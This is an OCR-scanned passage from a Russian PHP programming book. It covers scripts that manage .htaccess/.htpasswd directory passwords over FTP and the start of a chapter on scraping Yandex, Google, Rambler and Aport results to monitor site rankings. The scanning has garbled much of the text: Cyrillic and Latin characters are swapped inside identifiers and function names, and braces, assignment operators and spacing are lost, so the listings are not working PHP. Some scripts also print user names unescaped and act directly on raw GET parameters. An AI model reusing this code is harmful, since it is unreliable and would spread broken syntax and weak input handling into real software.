'.$ url. ' titlе= "Добавить глобальный пароль для всего сайта " >Добавить глобальный пароль </а><Ьr><Ьr> '; // Извлекаем содержимое файла .htpasswd корневой директории $content = get_htpasswd ($ftp_handle , "/"} ; 955
956 Часть 11. Создание са йта $pattern = " #([Л\п : ]+) : #"; preg_rna tch_all ( $pattern, $content , $out) ; if (!emp ty ($out [l] )) ?> <table width="lOO%" class=" tab le " border="O" cellpadding= " О " cellspacing="O"> <tr class= "header" align= "center"> <td аligп=сепtеr>поль зователь </td> <td align=cent er соlsрап=2>действия< / td> </tr> <?php foreach ($out [l] as $user_name ) echo "<tr> <td align=center>$user_name</td> <td align=center> <а titlе= ' Изменить пароль поль зователя ' href=pasglObadd . php ?dir=$url &name= ".urlencode ( $user_name ) . ">сменить пароль </а> </td> <td align=center> <а titlе= ' Удалить поль зователя ' href=# onCl ick=\ "delete_pos ition (" . " 'pasglobde l .php ?dir=$url &name= " . urlencode ($user_name ) . " ',". "'Вы действитель но хотите удалить пользователя". " из списка глобальных паролей на сайт? ')\ ">удалить </а></td> </tr>" ; echo "</table>"; // Закрыв аем соединение с FТP- cepBepoM ftp_close($ ftp_handle ) ;
Глава 22. Защита директорий паролем ?> // .Включаем завершение страницы require_once (" ../utils/bottom.php" ) i 957 Дл я формирования навигационной строки, которая позволяет вернуться к предыдущим директориям, содержимое GЕТ-параметра dir разбивается на п одстроки при помощи функции explode ( ) . Далее в цикле из массива полу­ ченных подстрок формируется нав игационная строка путем добавления к корневому адресу / названий последующих директорий. После этого формируется основная табл ица с названиями поддиректорий . Есл и директо рия имеет в качестве одного из элементов файл .11taccess (его н ал ичие проверяется при помощи функции is_h taccess ()), содержащий слова " require " и" val id-us er " , считается, что директория защищена паро­ лем, и специальная переменная $flag получает значение true. Равенство пе­ ременной $flag значению true приводит К тому, что появляется' управляю­ щая ссылка Снять защиту (переменная $delete) И запускается более подробный механизм анализа. Если директо рия помимо файла .I1taccess со­ держит также и файл .I1tpasswd (его наличие проверяется при помощи функ­ ции is_htpasswd ()), считается, что она защищена локальными паролями. Есл и файл .htpasswd не обнаруже н, сч итается, что директория защищена гл о­ бальными паролями. Есл и директория защищена локальными паролями, В переменную $co ntent при помощи функции get_htpasswd () читается содержимое файла .lltpasswd. Далее при помощи регуля рного выражения извлекаются имена пол ьзовате­ лей, которым разрешен доступ к директории. Любой файл .htpasswd имеет структуру, подобную приведенной в листинге 22.22. Листинг 22.22. Структура файла .htpasswd root : $pprl$xm3 .....$мxLGexmdTw557GNssYYdT / igor : $ap rl$yn3 .....$P5irHy/ I rgxTYL/x .hsll/ cheops : $ap rl$Jo3 .....$оvНЬ ZV2 0hУ/аБЕВРfXA7 СО Каждая строка файла .htpasswd предназначена для одного логина: сначала указывается имя пользователя, а через двоеточие - его пароль, зашифрован­ ный при помощи необратимого алгоритма шифрования MD 5. Поэтому, что­ бы извлечь имена пользователей, достаточно воспользоваться регулярным выражением "# ( [Л\n : ] +) : #". ЗА МЕЧАНИЕ Более подробно регулярные выражения рассматриваются в приложенuu 4.
958 Часть 11. Создание сайта После основной табл ицы выводится табл ица гл обальных паролей. Для этого из корневой директории FTP-сервера функцией get_htpas swd () извлекается со­ держимое файла .htpasswd . При помощи указанного выше регулярного выра­ жения файл разбирается и выводится список всех гл обальных пользователей. За добавление нового глобал ьного пароля несет ответственность файл pasglobadd.pI1p, формирующий НТМL-форму, внешний вид кото рой пред­ ставл ен на рис. 22 .5. Защита дире."ТОрии !НШ! !!!!tМ [р">;шi!З.�..Ю!1!r.!! QnОК НQВО_С;Ш Блок rОЛОСОВ3Н11Я ПаРDЛЬ ": lianрИЬIeP, uV2XChVfS ПDВТОР ': Добави ть пользова теля Рис. 22 .5 . Добавление гл обального пароля НТМL-форма содержит тексто вое поле дл я имени пользователя и два поля типа password, предназначенных для ввода пароля и повтора пароля, чтобы исключить ошибку. Для того чтобы пользователю было удобнее выбрать за­ щищенный парол ь, в подсказке после поля выводится случайно сгенериро­ ванная последовательность . В листи нге 22.23 приводится содержи мое файла pasglobadd.php . ЛИСТИНГ 22.23. Доба вление гл обального пароля , файл pasglobadd.php <?php // Устанавливаем соединение с базой данных requi re_once (" ../ ../con fig/config .php" ) ; // Подключаем блок авторизации require_once ("../utils/securitY_ffio d .php ") ;
Глава 22. Защита директорий паролем // Подключаем классы формы require_once (" ../ . ./con fig/c1ass . config .dmn.php " ) ; // Устанавливаем соединение с FТP-cepBepOM require_once ("../ ../config/ftp_connect .php " ) ; // Подключаем генератор пароля require_once ("../uti 1s/uti1s . pas sword .php" ) ; // Подключаем функции для работы // с файлами .htaccess и .htpasswd require_once ("../utils /uit1s . ht fi1es .php") ; try // Генерируем новый пароль $разз_ехатр1е generate_pas sword (10) ; $name = new fie1d_t ext ("name", $pass "Имя ", true , $_REQUE ST ['name']); new fie1dyassword ( "разз" , "Пароль ", true , $_REQUE ST ['pass'], 255, 41, У' "� , $passagain "Например , $pas s_examp 1e") ; new fie1d_p assword ( "passagain" , $dir "Повтор " , true , $_REQUE ST ['passagain' ], 255, 41, "", "Например , $разз_ехатр1 е" ) ; new fie1d_hidden ("dir", fa1se, $_REQUEST[ IdirI ]); 959
960 Часть 11. Создание са йта $fш:m new form (array ( "пате" => $пате, "разз " => $разз, "passagain" => $passagain, "dir" => $dir) , "Добавить пользователя ", "field" ); // Обработчик НТМL-формы if( ! emptу ($_POST) ) ( // Пр оверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $form->check () ; if ($form->fields ['pass ']->value != $form->fields ['passagain' ] ->va lue ) $error [] = "Пароли не равны" ; // Пр оверяем имя и пароль на допустимые символы $pattern = "IЛ[-\w\d_\"\.\[\] \ (\) ]+$ I "; if (!preg_ma tch ($pattern, $form->fields ['n ame']->value) ) $error [] "Недопустимые символы в имени" ; ) // Пр оверяем корректность пароля if (!preg_ma tch ($pattern, $form->fields ['p ass']->va lue) ) $error [] = "Недопустимые символы в пароле " ; if (empty ($erro r) ) // имя поль зователя и пароль $пате $form->fields ['name' ] ->value ; $разз $form->fields ['p ass ']->value ; if (!is_htpas swd ($ftp_handle , "/") ) // Файла .htpasswd в директории нет , создаем его // в директории files и загружаем по FTP
Глава 22. Защита директорий паролем $content = "$name: ".crypt ($pass ) ."\n" ; put_htpa sswd ($ftp_handle , "/", $content ); else // Файл .htpasswd в директории име ется , // нужно добавить в него запись . // Загружаем содержимое файла $content = get_h-cpa sswd ($ftp_handl e, "/") ; // Проверяем, нет ли такого поль зователя в .htpas swd if ( strpos ($content , "$name : ") !== false) // Поль зователь суще ствует , меняем пароль $pattern = "# " .preg_quote ($name ) .": ["\n] +\n#is "; $replacernent = "$name: ".crypt ($pass) ."\n" ; $content = preg_replace ( $pattern , $replacernent , $content ) ; else ) // Поль зователь новый - добавляем аккаунт $content .= "$name : ".crypt ($pass) ."\n" ; // Создаем новый файл .htpasswd put_htpasswd ($ftp_handle , "/", $content ); // Осуще ствляем перенаправление // на главную страницу администрирования $dir $form->fields ['dir ']->value ; $url "index . php?di r=" . urlencode (substr ($di r, О, strrpos ($di r, "/") )); heade r ("Location : $url") ; exit () ; // Начало страницы $title = 'Установка общего пароля на сайт '; 961
962 Часть 11. Создание сайта ?> $pageinfo = '<р сlаss=hеlр>Следует ввести имя пользователя и его пароль , в резуль тате чего будет создан новый аккаунт , который можно будет исполь зовать для защиты директории . Если поль зователь с таким именем уже суще ствует в файле .htpasswd , его пароль будет заменен на НОВЫЙ. </Р> 'i // Включаем заголовок страницы requi re_once (" ../utils/top .php" ) i echo "<р><а href=# onClick= 'history . back () '>Назад< /а></Р> "i // Выв одим сообщения об ошибках , если они имеют ся if ( !emp ty ($error) ) echo "<span style=\"color :red\">" . implode ("<br>", $error) . "</span><br> " i // Выводим НТМL-форму $form->print_form () i catch ( ExceptionObj ect $ехс ) require (" ../utils/exception_obj ect .php ") i catch ( Excepti onМySQL $ехс ) require (". ./utils/exception_my sql .php" ) i catch ( ExceptionМember $ехс ) require ("../utils /excepti on_memb e r.php ") i // Включаем завершение страницы require_once ("../utils/bottom.php") i
Гла ва 22. Защита директор ий паролем 963 Скрипт pasglobadd.pl1p может принимать в качестве GЕТ-параметра пате имя пользовател я. Если этот параметр не пуст, имя подставляется в соответст­ вующее текстовое поле. После нажатия на кнопку Добавить пользователя данные передаются обработч ику НТМL-формы, который распол оже н в блоке if ( ! empty ($_POST ) ) . Если пароли не равны или вводимые значения содержат н едопусти мые символы, в массив $error помещаются сообщения об ошиб­ ках. Основная часть обработч ика вступает в действие, тол ько если массив о шибок $error пуст; в противном случае повторно выводится НТМL-форма с сообщениями об ошибках . Далее при помощи функции is_htpasswd () проверяется , существует ли файл .11tpasswd в корне диска. Если файл не существует, он создается при помощи функции put_htpasswd (), причем парол ь шифруется при помощи функции crypt (). ЗА МЕЧАНИЕ Следует иметь в виду, что реализация функции cryp t () зависит от опера­ ционной системы, и резул ьтат шифрования подходящий для файла .htpasswd достигается тол ько в UNIХ-подобной операционной системе. В Windows функция crypt () возвращает неверный формат. Если файл .I1tpasswd уже существует, перед добавлением в него новой записи производится анализ его содержимого: есл и пользовател ь с таким именем уже имеется, ему назначается новый пароль при помощи регулярного выра­ жения и функции preg_replace (). Есл и пользователя с таким именем еще нет в файл е .l1tpasswd - соответствующая запись добавляется в конец файла. За удаление гл обального пароля несет ответственность файл pasglobdel.pl1p (л истинг 22 .24), который принимает два GЕТ-параметра: dir - имя текущей директории и пате - имя удаляемого пользователя. Листинг 22.24. Удаление глобального пароля, файл pasglobdel.php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../config/config .php " ) ; // Подключаем блок авторизации require_once (" ../utils/security_mo d .php ") ; // Устанавливаем соединение с FТP-cepBepoM require_once ("../ ../config/ftp_connect .php ") ;
964 Часть 11. Создание сайта ?> // Подключаем функции для работы // с файлами .htaccess и .htpasswd require_once (" ../utils /ui;tls .htfiles .php ") ; $dir = $_GET ['dir' ]; $name = $_GET ['name' ]; if ( is_htpasswd ($ftp_handle , "/") ) // Файл .htpasswd в директории име ется , удаляем поль зователя $content get_htpasswd ($ftp_handle , "/") ; $pattern "#" . preg_quote ($name ) .": [Л\п] +\п# i s"; $content preg_replace ($pattern, "", $content ); // Перезаписываем файл .htpas swd put_htpa sswd ($ftp_handle , "/", $content) ; $url = "index . php ?dir=" . urlencode (sub str ($di r, О, strrpos ($di r, "/") )); @header ( "Location : $url " ); Скрипт из листинга 22 .24 проверяет, имеется ли в корне FTP-сервера файл . htpasswd, и есл и он обнаружен, удаляет при помощи замены по регул ярному выражению пользователя с именем, передан ным через GЕТ-параметр пате . Для установки гл обального пароля испол ьзуется скрипт pasglobset.pI1p, со­ держимое кото рого представл ено в листи нге 22.25. Листинг 22.25 . Установка глобал ьного пароля на директорию, файл pa sglobset.php <?php // Устанавливаем соединение с базой данных require_once ("../ . ./con fig/config .php" ) ; // Подключаем блок авторизации require_once (" ../utils/security_m od .php ") ; // Устанавливаем соединение с FТP-cepBepoM require_once ("../ ../config/ ftp_connect .php" ) ; // Подключаем функци и для работы // с файлами .htaccess и .htpasswd requi re_once ("../utils/uitls .htfiles .php ") ;
Гл ава 22. Защита директорий паролем /////////////////////////////////////////////////////// // .htaccess /////////////////////////////////////////////////////// $dir = $_GET['dir ' ]; if (is_htp asswd ($ftp_handle , $di r) ) // Удаляем файл .htpas swd $ftpytpasswd = str_replace ("//", "/",$di r. " /.htpasswd" ); @ftp_delete ($ftp_handle , $ftp_htp asswd) ; if (!is_h taccess($ftp_handle , $dir) ) // Файла .htaccess в дир ектории нет , создаем его // в директории files И загружаем ПО FТP $content = "AuthType Bas ic\n" . "AuthNarne \"Fill пarnе and pas sword\ "\n" . "AuthUserFile $ftp_ab solute_path .htpasswd\n" . "require va lid-user" ; put_ht access ($ftp_handle , $dir, $content) ; else // Файл .htpas swd в директории присутствует // Загружаем содержимое файла $content = get_ht access ($ftp_handle , $dir) ; // Проверяем, име ется ЛИ в файле фраза require va lid-user, // если име ется - ничего не добавляем, если нет , добавляем // требование защиты $flag = (strpos ($content , "requi re ") != false) && (strpos ($content , "valid-user" ) ! == false) ; if (!$flag ) $content "\nAuthType Bas ic\n" . "AuthNarne \"Fill пате and password\ "\n" . "AuthUserFile $ftp_absoluteyath .htpasswd \ n" . "require va lid-us er" ; put_ht access ($ftp_handle , $dir, $content) ; 965
966 Часть 11. Создание са йта ?> else // Удаляем старую защиту $pattern = "#AuthType .*va lid-usеr#is "; $content = preg_rep lace ($pattern, "", $content ); / / Ставим новую $content .= "\nAuthType Bas ic\n" . "AuthNaтe \"Fill пате and pas sword\ "\n" . "AuthUserFile $ftp_ab solute_path .htpasswd\n" . "require valid-user" ; put_htaccess ($ftp_handle, $ di r, $content) ; // Редирект в систему администрирования $url = "index . php?dir=" . urlencode (sub str ( $di-r, О, strrpos ($di r, "/") )); @header ( "Location : $url " ); Для защиты директории гл обальным паролем необходимо разместить в ней файл .htaccess, который будет сс ылаться на файл .l1tpasswd с гл обальными паролями. Есл и при это м в защищаемой директории имеется файл . l1tpasswd - он удал яется , так как дл я ее защиты будут использоваться гло­ бальные, а не локальные парол и. Далее, в зависимости от того, имеется ли в защищаемой директории .htaccess, осуществляется либо его добавление, либо редактирование. Переписывать файл .htaccess нел ьзя, поскол ьку в нем могут находиться другие директивы Web-сервера Apache, не имеющие отношения к защите директории паролем. ЗА МЕЧАНИЕ Файлы pasadd.php, pasdel.php и pasusrdel.php, предназначенные дл я управления лока льными паролями, имеют схожую структуру и в данной гл аве не рассматриваются . Эти файлы можно найти на ко мпакт-диске , по­ ставляемом вместе с книгой.
ГЛАВА 23 Система мониторинга позиций '" саита в поисковых системах Система мониторинга позволяет отсле?Кивать рейтинг исследуемых сайтов в поиско вых систе мах по выбранным поисковым запросам . При это м под рей­ тингом понимается позиция сайтов в результатах поиска. Данная система не использует специальных программных интерфейсов для доступа к резул ьтатам - она имитирует действ ия посетител ей поисковых ресурсов и работает только с той информацией, которая представлена на НТМL-страницах поисковых систем. Такого рода системы называются ин­ теллектуальными агентам и. Функционирование данной системы опирается на алгоритмы поисковых сис­ тем в части структуры строк запросов и формы предоставления информации на НТМL-страницах, поэто му при изменении этих алгоритмов система может работать не корректно . Для поддержания ее функционирован ия необходимо постоянно отслеживать изменения в структуре строк запросов к поисковым серверам и в HTМL-Koдe стран иц с результатами поиска и при необходимо­ сти вносить соответствующие изменения в код програм мы. Такие изменения происходят не часто, поэтому код остается функциональным в течение дл и­ тел ьного времени. Поисковые систем ы не приветствуют подоб ные действия, поэтому при ин­ те нсивном обращении с одного IР-адреса он может быть заблокирован. Дан ное приложение разрабатывается в качестве практического примера реа­ лизации некоторых возможностей при разработке Web-приложениЙ. Мы не можем гарантировать неизменность алгоритмов поисковых машин к момен­ ту, когда вы будете читать эту главу, и, соответственно, не можем гарантиро­ вать полную работоспособность приведенного в этой гл аве кода в части, ка-
968 Часть /1. Создание сайта сающейся алгоритмов поисковых машин. Однако, испол ьзуя разработан ное здесь приложение в качестве основы, можно адаптировать его под новы е движки поисковых систем . Приложение будет обращаться к четы рем наиболее популярным в русс ко ­ язычной части Интернета поисковым системам : Уandex, Google, RambIer и Aport. ЗА МЕЧАНИЕ В начале это й гл авы будет рассмотрена процедура загрузки и разбора страниц поиско вых систем; построение системы мониторинга будет приве­ дено в последнем разделе . 23.1 . Извлеч ение ссылок с Yandex Для получения ссылок от поисковой системы Уal1dex необходимо предвари­ тел ьно загрузить содержимое стр аницы при помощи функции file_get_c ontent s () , а затем разобрать ее при помощи регулярных выраже­ ний. URL страницы с результатами работы поисковой системы Уan dex имеет два GЕТ-параметра: р обозначает номер страницы (О - первая страница, 1- вторая, 2 - третья и т. д.), text - запрос пользователя. Например, для вто­ рой страницы запроса "Форум РНР" URL на момент написания книги выгля­ дел следующим образом : http ://ww w .yandex.ru/yandsearch?&p=l&text= %DO%A4%DO%BE%Dl%80%Dl%83%DO%BC+PНP Символы кириллицы в ,строке запроса кодируются в безопасную форму, со­ стоящую из символа %, цифр и символов лати нского алфавита, а пробел за­ меняется плюсом +. Воспроизвести такой способ кодирования можно при помощи функции urlencode (), использование которой демонстрируется в листинге 23 .1 . ЗА МЕЧА НИЕ Функция urlencode () имеет проти воположенную функцию urldecode ( ) , кото рая осуществляет преобразование закодированной строки в исходную форму.
Гл а ва 23. Система мониторинга позиций сайта в поиско вых системах 969 Л и стинг 23.1. Использова ние функции urlencode О < ?рЬр $url ?> .. http : / /www . yandex . ru/yandsearch? .. . "&р=l & tехt=" . urlепсоdе ("Форум РНР " ); Поисковая систе ма Yandex в настоящий момент испол ьзует на стр аницах с резул ьтатам и кодировку UTF-8, поэтому при использовании кодировки, от­ личной от UTF-8 (например Windows- 1251), потребуется дополнительное преобразование. В это м случае удоб нее всего воспользоваться функцией iconv ( ), однако расширение iconv доступно не на всех серверах, поэтому разработаем собственную функцию преобразования кодировки UTF-8 в Win­ dows- 1251 utf8_win ( ) , которую помест им в файл tltf8 .pI1p (листинг 23 .2). Листинг 23.2 . Преобразование кодировки UTF-8 в Wi ndows -1 251 , фун кция utf8_w in О <?рЬр funct ion utf8_win ($str) $win $utf8 array(На" , "6", Нв", "гl1 , "д" , "е", "ё"t " ж" , "з", " и", " у" , "ф", "х","цН, "ч", "ш", "щ", "ъ", "ы", " ь", " э","ю " , " я", "А", "Б", "В", "Г", "Д", "Е","Е", "Ж", "З", "И",' "Й", "К", "Л","М", "Н", "О", "П", "Р", "С", "Т", "У", "ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ", "Ы", "Ь", "Э", "Ю", "Я", " 11); array ("\xDO \xBO ", "\xDO \xBl ", "\хDО \хВ2 ", "\хDО \хВ3 ", "\хDО\хВ4 ", "\хDО\хВ5", "\хDl\х91 ", "\хDО\хВб" , "\хDО \хВ7 " , "\хDО \хВ8 " , "\хDО\хВ9" , "\ХDО \хВА" , "\хDО \хВВ " , "\хDО\хВС " , "\хDО\хВD " , "\хDО \хВЕ", "\xDO \xBF" , "\хОl \х8 0", "\хDl \х81", "\хDl \х82" , "\хDl \х83", " \ хDl \х84", "\хDl \х85" , "\хDl\х8 б", "\хDl\х87" , "\хDl \х88", "\хDl \х89", "\хОl \х8А" ,"\ хDl\х8В" ,"\хDl \х8С" , " \хDl\х8D" , " \хDl\х8Е" , "\xDl \x8F" , "\хDО\х90" , "\хDО\х91" , "\хDО\х92 ", "\хОО \х93 ", "\хDО \х94 ", "\хDО \х95", "\хDО\х8 1", "\хDО \х9б" , "\хDО \х97 ", "\хDО\х98" , "\хDО\х99", " \хDО\х9А" , "\хDО \х9В" , "\ХDО \х9С" , "\хDО \х9D" , "\хDО \х9Е", "\xDO \x9F" , "\хDО \хАО", "\хОО \хАl " , "\ХDО \хА2", "\хDО \хА3 " , "\хDО \хА4 ",
970 Часть 11. Создание са йта ?> "\xDO\xA5", "\хDО \хАб", " \xDO\xA7 ", "\xDO \xA8 ", "\xDO\xA9 " , "\xDO \xAA" , "\xDO \xAВ", "\xDO\xAC", "\xDO\xAD", " \'xDO\ xAE " , "\xDO\xAF" ,"+" ) ; return str_replace ($ut f8 , $win, $str) ; Теперь можно создать функцию yandex (), которая будет принимать адрес поисковой стран ицы У al1dex с результатами запроса, а возвращать двумер­ ный масс ив, ключ url кото рого будет содержать ссылку, а пате - названи е позиции. Возможная реализация функции yandex (), а также демонстрация ее испол ьзования содержится в листинге 23 .2. ЗА МЕЧА НИЕ Дизайн страниц и расположение HTML-те гов со временем может изменять­ ся , поэто му скрипт из листи нга 23.2 и последующих листи нгов не является универсальным, он лишь демонстрирует идею извлечения информации со страницы, расположенной на удаленном сервере. Л истинг 23.3 . Извлечение ссылок со стра ниц поисковой системы Yandex <?php // Снимаем ограничение на время вып олнения скрипта @set_time_limit (O) ; // Функции преобразовани я кодировки UTF- 8 require_опсе ( "utf8 . php " ) ; // Извлечение ссылок со страниц поисков ой системы Yandex function yandex ($url ) // Резуль тирующий ма ссив $result = array() ; // Загружаем содержимо е страницы $contents = file_get_contents ($ur l) ; // Регулярное вь�ажение $pattern = " 1 <а [\s] +tаЬiпdех= \" [\d] +\" (.*?)hrеf=\" ([Л\ "]+) \" [Л>] +>(.*?) < /a> l is" ; // Выполняем поиск по регулярному в�ажению preg_ma tch_all ( $pattern, $contents , $out , PREG_PATTERN _ORDER ) ;
Гла ва 23. Система мониторинга позиций сайта в поисковblХ системах ?> } // Создаем резуль тирующий ма ссив for ($i = О; $i < count ($out [2]); $i++) $result [ $ i] ['url' ] = $out [2] [$i] ; $result [$i] ['п ате'] = $оut [З] [$i] ; return $result ; // URL с резуль татами запроса $url = .. http: / /www . yandex .ru/yands earch? .. . "&p= O&text= " . urlencode ("Форум РНР" ) ; // Получаем ма ссив со ссылками $arr = yandex ($url) ; // Выводим резуль таты for ($i О; $i < count ($arr) ; $i++) echo "<а href= { $arr [$i] [url ] }>". utf8_win ($arr [$i] ['пате' ]) . "</a><br> "; Результат работы скрипта из листи нга 23 .3 демонстрируется на рис. 23 .1 . i ФОРУМ рlш. .1Ш9J.1>J!.М МИС)"ОВ (Р аботает l!a IпvisiЩl Po\.ver Вомс!2 Новости на PНPClub.n'l ! ЛучшиЙ платный хостинг. дешевый веб хостинг саЙrов с поддерж кой J)lm шуsgl .. . РНР по-русски: PHP. SPB.RU ФОРУМ программистов - программирование на java. рЬр. аsш ..NБТ сшs система упра вление саЙтом движок сайта скри пты нЬр фЩ)УМ Ы сшs­ шillееff.ru Рис. 23.1 . Список ссылок, полученных от поисковой системы Уапdех на запрос "Форум РНР" 971
972 Часть 11. Создание са йта 23.2. И звлеч е ние ссыл ок с Google URL страницы с резул ьтатами работы поисковой системы Google имеет не­ сколько GET-параметров, наибольший интерес среди кото рых представляют следующие: D q - запрос пользовател я; D hl - язык интерфейса (для русскоязычного интерфейса испол ьзуется значение ru); D start - номер позиции, начиная с которой следует выводить резул ьта­ ты: О - вывод первой страницы (записи с 1 по 1 О), 1 О - второй страни­ цы(записис 11по20)ит.д. Так, для вто рой стран ицы запроса "Форум РНР " URL на момент написания книги выглядел следующим образом: http ://www.google. ru/search?q=%DO%A4%DO%BE %Dl%80%Dl%83%DO %BC+PНP&complete=1&hl=ru&Ir=&start=10&sa=N Теперь можно создать функцию google (), которая будет принимать адрес поисковой стран ицы Google с резул ьтатами запроса, а возвращать двумерны й масс ив, ключ url которого будет содержать ссыл ку, а пате - название пози­ ции . Возможная реализация функции google (), а таюке демонстрация ее ис­ пользования содержатся в листинге 23 .4. Листинг 23.4. Извлечение ссылок со стра ниц поисковой системы Google <?php // Снимаем ограничение на время выполнения скрипта @set_time_l irnit (Q) ; // Функции преобразования кодировки UTF- B require_опсе ( "utfB . php " ) ; // Извлечение ссылок со страниц поисковой системы Google function google ($url ) // Ре зуль тирующий ма ссив $result = array() ; // Загружаем содержимое страницы $contents = file_get_contents ($url) ; // Регулярное выражение $pattern = 'I<div clas s=g><h2 class=r> , . '<а href=\"( [Л\"]+)\"[Л>]*> ( . +)</а> I isU' ;
Гла ва 23. Система мониторинга позиций сайта в поисковых системах ?> / / Вьтолняем поиск по регулярному выражению preg_ma tch_all ( $pattern, $cont ents , $out , PREG_PATTERN _ORDER ) ; // Помещаем полученное в резуль тирующий ма ссив for ($i = О; $i < count ($out [l]); $i++) $result [$i] ['url' ] = $out [l] [$i] ; $result [$i] ['п ате'] = $out [2] [$i] ; return $result ; // URL с резуль татами запроса $url ..httр : //ww w . gооglе . ru/sеаrСh?q= .. . urlепсоdе ( .. фОРУМ РНР" ) . "&complete=l &hl=ru& lr=&start=l O&sa=N" ; // Вызываем функцию, которая загружает страницу $arr = google ($url) ; // Выв одим резуль таты for ($i = О; $i < count ($arr) ; $i++) echo "<а href={$arr [$i] [url ] J>$arr [$i] [пате ] </a><br> "; Результат работы скрипта из листинга 23 .4 демонстрируется на рис. 23 .2 . ФО})"1\! PHP-МуАdl1liп.RU РНР ФОРУМ на ПЫХА.ру Главная :: РОССИJ1ская поддерж ка Форума J)hl>BB :: темы (ш куры) для ... ФорVМ РНРЬЬ И РНР Nuke, уста новка ФОРНf3 рЬрВВ, ФОРУМ рЬрВВ, ФОРУ М ш Фор)'J'tI - PНP-Fusion cai'.fт русс кой поддерж ки Клуб вебмастеров ФОРУМ РНР Communitv - Главная страница SшаllNllkе I Новосш I Новая верс ия Форума рЬрВВ 2.0 .20 Рис. 23.2. Список ссылок, полученных от поисковой системы Google на запрос "Форум РНР" 973
974 Часть 11. Создание сайта 23.3. Извлеч е ние ссылок с RambIer URL стран ицы с результатами работы поисковой системы RambIer имеет не­ скол ько GЕТ-параметров, наибольший интерес среди кото рых представляют следующие : О ое - номер кодировки в классификации компании Microsoft, так для ко­ дировки Wil1dows- 125 1 данный параметр принимает значение 1251; О words - запрос пользователя; О start - номер позиции, начиная с кото рой следует выводить резул ьта­ ты : О - вывод первой страницы (записи с 1 по 15), 15- вывод второй страницы (записи с 16по 30) и т. д. Так, дл я второй страницы запроса "Форум РНР" URL на момент написания книги выглядел следующим образом: http://www.rambler.ru/srch?oe=1251&words= %D4%EE%FO%F3%EC+PНP&start=16 Теперь можно создать функцию rambler (), кото рая будет принимать адрес поисковой страницы RambIer с результатами запроса, а возвращать двумер­ ный массив, кл юч url которого будет содержать ссылку, а пате - название позиции. Возможная реализация функции rambler ( ) , а также демонстрация ее использования содержатся в листи нге 23 .5. Листинг 23.5. Извлечение ссылок со страниц по исковой системы Ra mbIer <?php // Снимаем ограничение на время выполнения скрипта @set_time_limit (O) ; // Извлечение ссылок со страниц поисковой системы Rambler function rambler ($url ) // Резуль тирующий ма ссив $result = array () ; // Загружаем содержимое страницы $contents = file_get_content s ($url) ; / / Регулярное выражение $pattern = "l<li> [Л>] +><а (.+ ?) hrеf=\" ([Л\"]+) \ "[Л >] + >(.+ ?) </а> l is "; // Выполняем поиск по ре гулярному выражению preg_ma tch_all ( $pattern, $contents , $out , PREG_PATTERN _ORDER ) ;
Гл а ва 23. Система мониторинга позиций сайта в поиско вых системах ?> // Помещаем полученное в резуль тирующий ма ссив for ($i = О; $i < count ($out [2] ); $i++) $result [$i] ['url'] = $out [2] [$i] ; $result [$i] ['пате'] = $оut [З] [$i] ; return $resul1: ; // URL с резуль татами запроса $url .. http: / /www .rambler . ru /s rch?oe=1251 &words= .. . urlепсоdе ("форум РН Р" ) . "&start=1 6" ; // Вызываем функцию, которая загружает страницу $arr = rambler ($url) ; // Выводим резуль таты for ($i = О; $i < count($arr) ; $i++) echo "<а href={$arr [$i] [url ] j>$arr [$i] [пате] </a><br> "; Результат работы скрипта из листи нга 23 .5 демонстрируется на рис. 23 .3 . Софт: РНР форvм ы Система управления сашом - Форvмы дизаЙн-студии AВC.NET .uA fOl1Ul l .rt ls .inc .лl . Форум специалистов. &ы.l1:: Главная стра ниЦ1! КАЛУЖСЮ1Й форум BMS-\VЕSТ.СОм.uА :: Голов на Системы управления с.аКтами :: Тематические :: Компьютерный Форум Rl.l .Board Рис. 23.3 . Список ссылок, полученных от поисковой системы RambIeг на запрос "Форум РНР" 975
976 Часть 1/. Создание сайта 23.4 . Извле чение ссылок с Aport URL страницы с резул ьтатам и работы поисковой системы Aport имеет не­ скол ько ОЕТ-параметров, среди которых наиболее интересны параметр r­ запрос пользовател я и параметр р, обозначающий номер стран ицы (О - пер­ вая страница, 1 - вторая, 2 - третья и т. д.). Например, дл я второй страни­ цы запроса "Форум РНР " URL на момент написания книги выглядел сле­ дующим образ ом : http ://sm.aport. ru/scripts/template.dll?r=%D4 %EE%FO%F3 %EC+PНP&id =4242 5703&That=std&p=I&НID=I_2 _3 _4_5_6_? _8 _9 _10_1 1 _12 _13_14_15_ 16_17 _1 9_20_2 1_22_23_24 _2 5_26_27_28_29_30 _3 1_32_33_34_3 5_36_37_38 _ 39 40 Теперь можно создать функцию aport (), которая будет принимать ад рес по­ исковой страницы Aport с результатам и запроса, а возвращать двумерны й массив, ключ url которого будет содержать ссылку, а пате - название пози­ ции. Возможная реализация функции rarnbler (), а таюке демонстрация ее ис­ пользования содержатся в листинге 23 .6 . Листинг 23.6. Извлечение ссылок со страниц поисковой системы Aport <?php // Снимаем ограничение на время выполнения скрипта @set_time_limit (O) ; // Извлечение ссылок со страниц ПОИСКОВОЙ системы Ap ort func tion aport ($url ) // Резуль тирующий ма ссив $result = array() ; // Загружаем содержимое страницы $contents = file_get_contents ($url) ; // Ре гулярное выражение $pattern = "I<li vаluе [Л>] +>[Л>] + >[\s] + <а" . " hrе f=\" ([Л\"]+) \" [Л>] +> (.+?) </а> lis"; // Выполняем поиск по регулярному выражению preg_rna tch_all ( $pattern, $contents , $out , PREG_PATTERN_ORDER ) ; // Помещаем полученное в результирующий ма ссив for ($i = О; $i < count ($out [l]); $i++)
